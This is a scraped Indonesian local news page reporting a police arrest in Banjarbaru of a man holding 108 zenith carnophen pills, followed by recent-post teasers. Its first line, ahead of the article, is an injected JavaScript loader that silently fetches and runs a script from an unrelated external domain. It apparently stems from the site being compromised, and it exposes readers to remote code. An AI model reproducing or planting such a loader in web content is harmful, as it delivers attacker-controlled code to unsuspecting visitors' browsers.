(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Jual Zenith, HK Warga Loktabat Selatan Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki kedapatan menyimpan obat terlarang zenith carnophen di sebuah rumah di Jalan Nusantara RT 07 Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Jumat (26/7/2024) sekira pukul 17.30 Wita.

HK, 38 tahun dibekuk anggota Unit Opsnal Polsek Banjarbaru Utara setelah menerima informasi bahwa rumah tersebut kerap menjadi tempat transaksi narkoba.

Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono mengungkap, buntut adanya informasi tersebut, anggota yang dipimpin oleh Panit 2 Opsnal Reskrim Aiptu Sugeng Gunawan crosscheck informasi tersebut.

Baca juga: Nyamar Jadi Siswa, SB Tertangkap Curi Laptop SMKN 3

Tersangka HK (38) kedapatan polisi menyimpan narkotika jenis zenith. Foto : Humas Polsek Banjarbaru

“Informasi tersebut dinilai akurat anggota melakukan penangkapan terhadap terduga pelaku berinisial HK di sebuah rumah,” ujar Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Kamis (1/8/2024).

Pelaku HK yang juga tinggal di lokasi itu kemudian dilakukan penggeledahan badan beserta rumah tersebut.

“Didapat barang bukti zenith carnophen sebanyak 108 butir,” sebut dia.

Kapolsek menyebutkan, 108 butir zenith tersebut dibungkus dalam klip-klip plastik kecil sebanyak 10 butir per plastik klip.

Baca juga: Hari Kanker Paru Sedunia, Kenali Tanda Awal Kanker Paru-paru

“Kita temukan total 10 plastik klip berisi 10 butir per klip plastik, dan 8 butir di dalam 1 plastik klip kecil dan dimasukkan ke kantong plastik hitam, serta uang tunai sebesar Rp260.000,” tandasnya.

Modus pelaku adalah menyimpan narkotika dengan disembunyikan didalam laci meja toko milik pelaku.

Setelah ditangkap, HK dan barang bukti dibawa oleh anggota Opsnal Polsek Banjarbaru Utara ke Polsek untuk melanjutkan proses hukum.

Atas perbuatannya, tersangka akan dijerat hukuman seperti termuat dalam Pasal 114 ayat (1) dan atau Psl 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

13 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

14 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

15 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.